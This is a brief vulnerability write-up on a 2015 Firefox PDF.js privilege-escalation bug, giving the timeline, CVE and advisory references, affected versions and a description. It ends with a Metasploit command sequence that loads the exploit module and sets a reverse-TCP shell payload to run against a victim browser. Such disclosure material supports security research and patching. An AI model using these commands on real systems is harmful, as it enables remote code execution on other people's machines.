Timeline :
Vulnerability discovered and reported to the vendor by Bobby Holley
Patch provided by the vendor via MFSA-2015-42 the 2015-03-31
Metasploit PoC provided the 2015-08-16
PoC provided by :
Bobby Holley
Marius Mlynski
joev
Reference(s) :
CVE-2015-0802
MFSA-2015-42
CVE-2015-0816
MFSA-2015-33
ZDI-15-110
Affected version(s) :
Firefox versions bellow version 37
Tested on :
Windows 7 SP1 with Firefox version 36.0.4
Description :
This module gains remote code execution on Firefox 35-36 by abusing a privilege escalation bug in resource:// URIs (CVE-2015-0802). PDF.js (CVE-2015-0816) is used to exploit the bug. This exploit requires the user to click anywhere on the page to trigger the vulnerability.
Commands :
use exploit/multi/browser/firefox_pdfjs_privilege_escalation set SRVHOST 192.168.6.138 set PAYLOAD firefox/shell_reverse_tcp set LHOST 192.168.6.138 run SYSTEMINFO